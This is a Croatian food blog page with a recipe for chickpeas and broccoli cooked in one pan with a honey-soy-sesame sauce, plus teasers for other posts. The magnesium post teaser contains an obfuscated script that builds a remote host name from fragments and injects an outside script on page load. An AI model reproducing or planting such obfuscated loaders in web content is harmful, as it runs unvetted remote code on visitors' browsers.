SLANUTAK I BROKULA IZ JEDNE TAVE




Slanutak i brokula iz jedne tave 




Slanutak i brokula mogu biti savršen par – ovo jelo iz tave najbolji je dokaz. Veliku slast jelu daje umak, a koji se priprema na bazi sezamovog ulja, umaka od soje i meda.




Slanutak i brokula iz jedne tave 


Sastojci:

  • 450 g kuhanog slanutka
  • 450 g brokule
  • 85 ml meda
  • 65 ml kečapa
  • 65 ml umaka od soje sa smanjenim udjelom soli
  • 30 ml rižina octa
  • 5 ml tostiranog sezamovog ulja
  • 2 čajne žličice kukuruznog škroba
  • 2-3 češnja češnjaka
  • 1 žlica sitno naribanog svježeg đumbira
  • biljno ulje za pirjanje po želji
  • sol i papar po želji
  • pržene sjemenke sezama po želji za posluživanje



Priprema: 

  1. U zdjelici pomiješajte sezamovo ulje, umak od soje, med, kečap, rižin ocat i kukuruzni škrob. Miješajte dok ne dobijte glatku smjesu bez grudica. Stavite je sa strane.
  2. U velikoj tavi zagrijte malo biljnog ulja po želji pa na njemu prepecite manje cvjetove brokule – pecite je pet do šest minuta uz povremeno miješanje dok niste zadovoljni njezinom teksturom. Trebala biti hrskava na dijelova te imati zapečene rubove. Brokulu izvadite iz tave i stavite sa strane.
  3. U tavu ulijte još malo ulja pa na njemu prepirjajte nasjeckani češnjak i đumbir - pirjajte ih uz stalno miješanje oko 30 sekundi. Podlijte češnjak i đumbir s pripremljenim umakom i sve dobro promiješajte.
  4. U tavu potom dodajte kuhani slanutak koji ste prethodno isprali pod vodom i ocijedili. Miješajte sve zajedno, pa dodajte i prepirjanu brokulu. Začinite po želji s dodatnom soli i paprom. Servirajte jelo s prženim sjemenkama sezama. Dobar tek!



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više